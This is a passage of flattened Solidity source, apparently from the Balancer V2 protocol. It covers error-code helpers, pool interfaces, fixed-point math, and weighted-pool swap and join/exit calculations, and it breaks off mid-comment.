// it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IVault.sol"; import "./IPoolSwapStructs.sol"; /** * @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not * the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from * either IGeneralPool or IMinimalSwapInfoPool */ interface IBasePool is IPoolSwapStructs { /** * @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of * each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault. * The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect * the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`. * * Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join. * * `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account * designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances * for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as minting pool shares. */ function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts); /** * @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many * tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes * to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`, * as well as collect the reported amount in protocol fees, which the Pool should calculate based on * `protocolSwapFeePercentage`. * * Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share. * * `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account * to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token * the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as burning pool shares. */ function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/openzeppelin/IERC20.sol"; import "./IVault.sol"; interface IPoolSwapStructs { // This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and // IMinimalSwapInfoPool. // // This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or // 'given out') which indicates whether or not the amount sent by the pool is known. // // The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take // in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. // // All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in // some Pools. // // `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than // one Pool. // // The meaning of `lastChangeBlock` depends on the Pool specialization: // - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total // balance. // - General: the last block in which *any* of the Pool's registered tokens changed its total balance. // // `from` is the origin address for the funds the Pool receives, and `to` is the destination address // where the Pool sends the outgoing tokens. // // `userData` is extra data provided by the caller - typically a signature from a trusted party. struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./LogExpMath.sol"; import "../helpers/BalancerErrors.sol"; /* solhint-disable private-vars-leading-underscore */ library FixedPoint { uint256 internal constant ONE = 1e18; // 18 decimal places uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14) // Minimum base for the power function when the exponent is 'free' (larger than ONE). uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18; function add(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } function mulDown(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); return product / ONE; } function mulUp(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow return aInflated / b; } } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((aInflated - 1) / b) + 1; } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above * the true value (that is, the error function expected - actual is always positive). */ function powDown(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); if (raw < maxError) { return 0; } else { return sub(raw, maxError); } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below * the true value (that is, the error function expected - actual is always negative). */ function powUp(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); return add(raw, maxError); } /** * @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1. * * Useful when computing the complement for values with some level of relative error, as it strips this error and * prevents intermediate negative values. */ function complement(uint256 x) internal pure returns (uint256) { return (x < ONE) ? (ONE - x) : 0; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BasePool.sol"; import "../vault/interfaces/IMinimalSwapInfoPool.sol"; /** * @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`. * * Derived contracts must implement `_onSwapGivenIn` and `_onSwapGivenOut` along with `BasePool`'s virtual functions. */ abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool { constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BasePool( vault, tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // solhint-disable-previous-line no-empty-blocks } // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) external view virtual override returns (uint256) { uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn); uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. request.amount = _subtractSwapFeeAmount(request.amount); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. return _addSwapFeeAmount(amountIn); } } /* * @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known. * * Returns the amount of tokens that will be taken from the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already * been deducted from `swapRequest.amount`. * * The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the * Vault. */ function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); /* * @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known. * * Returns the amount of tokens that will be granted to the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. * * The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee * and returning it to the Vault. */ function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal view virtual returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/math/FixedPoint.sol"; import "../../lib/math/Math.sol"; import "../../lib/helpers/InputHelpers.sol"; /* solhint-disable private-vars-leading-underscore */ contract WeightedMath { using FixedPoint for uint256; // A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the // implementation of the power function, as these ratios are often exponents. uint256 internal constant _MIN_WEIGHT = 0.01e18; // Having a minimum normalized weight imposes a limit on the maximum number of tokens; // i.e., the largest possible pool is one where all tokens have exactly the minimum weight. uint256 internal constant _MAX_WEIGHTED_TOKENS = 100; // Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight // ratio). // Swap limits: amounts swapped may not be larger than this percentage of total balance. uint256 internal constant _MAX_IN_RATIO = 0.3e18; uint256 internal constant _MAX_OUT_RATIO = 0.3e18; // Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio. uint256 internal constant _MAX_INVARIANT_RATIO = 3e18; // Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio. uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18; // Invariant is used to collect protocol swap fees by comparing its value between two times. // So we can round always to the same direction. It is also used to initiate the BPT amount // and, because there is a minimum BPT, we round down the invariant. function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances) internal pure returns (uint256 invariant) { /********************************************************************************************** // invariant _____ // // wi = weight index i | | wi // // bi = balance index i | | bi ^ = i // // i = invariant // **********************************************************************************************/ invariant = FixedPoint.ONE; for (uint256 i = 0; i < normalizedWeights.length; i++) { invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i])); } _require(invariant > 0, Errors.ZERO_INVARIANT); } // Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the // current balances and weights. function _calcOutGivenIn( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountIn ) internal pure returns (uint256) { /********************************************************************************************** // outGivenIn // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bI \ (wI / wO) \ // // aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | // // wI = weightIn \ \ ( bI + aI ) / / // // wO = weightOut // **********************************************************************************************/ // Amount out, so we round down overall. // The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too). // Because bI / (bI + aI) <= 1, the exponent rounds down. // Cannot exceed maximum in ratio _require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO); uint256 denominator = balanceIn.add(amountIn); uint256 base = balanceIn.divUp(denominator); uint256 exponent = weightIn.divDown(weightOut); uint256 power = base.powUp(exponent); return balanceOut.mulDown(power.complement()); } // Computes how many tokens must be sent to a pool in order to take `amountOut`, given the // current balances and weights. function _calcInGivenOut( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountOut ) internal pure returns (uint256) { /********************************************************************************************** // inGivenOut // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bO \ (wO / wI) \ // // aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | // // wI = weightIn \ \ ( bO - aO ) / / // // wO = weightOut // **********************************************************************************************/ // Amount in, so we round up overall. // The multiplication rounds up, and the power rounds up (so the base rounds up too). // Because b0 / (b0 - a0) >= 1, the exponent rounds up. // Cannot exceed maximum out ratio _require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO); uint256 base = balanceOut.divUp(balanceOut.sub(amountOut)); uint256 exponent = weightOut.divUp(weightIn); uint256 power = base.powUp(exponent); // Because the base is larger than one (and the power rounds up), the power should always be larger than one, so // the following subtraction should never revert. uint256 ratio = power.sub(FixedPoint.ONE); return balanceIn.mulUp(ratio); } function _calcBptOutGivenExactTokensIn( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT out, so we round down overall. uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length); uint256 invariantRatioWithFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]); invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i])); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { uint256 amountInWithoutFee; if (balanceRatiosWithFee[i] > invariantRatioWithFees) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE)); uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount); amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFee))); } else { amountInWithoutFee = amountsIn[i]; } uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } if (invariantRatio >= FixedPoint.ONE) { return bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE)); } else { return 0; } } function _calcTokenInGivenExactBptOut( uint256 balance, uint256 normalizedWeight, uint256 bptAmountOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /****************************************************************************************** // tokenInForExactBPTOut // // a = amountIn // // b = balance / / totalBPT + bptOut \ (1 / w) \ // // bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // ******************************************************************************************/ // Token in, so we round up overall. // Calculate the factor by which the invariant will increase after minting BPTAmountOut uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply); _require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN); // Calculate by how much the token balance has to increase to match the invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight)); uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE)); // We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees // accordingly. uint256 taxablePercentage = normalizedWeight.complement(); uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } function _calcBptInGivenExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsOut, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { // BPT in, so we round up overall. uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length); uint256 invariantRatioWithoutFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]); invariantRatioWithoutFees = invariantRatioWithoutFees.add( balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i]) ); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { // Swap fees are typically charged on 'token in', but there is no 'token in' here, // o we apply it to 'token out'. // This results in slightly larger price impact. uint256 amountOutWithFee; if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement()); uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount); amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement())); } else { amountOutWithFee = amountsOut[i]; } uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } return bptTotalSupply.mulUp(invariantRatio.complement()); } function _calcTokenOutGivenExactBptIn( uint256 balance, uint256 normalizedWeight, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 swapFee ) internal pure returns (uint256) { /***************************************************************************************** // exactBPTInForTokenOut // // a = amountOut // // b = balance / / totalBPT - bptIn \ (1 / w) \ // // bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // *****************************************************************************************/ // Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base // rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down. // Calculate the factor by which the invariant will decrease after burning BPTAmountIn uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply); _require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT); // Calculate by how much the token balance has to decrease to match invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight)); // Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts. uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement()); // We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result // in swap 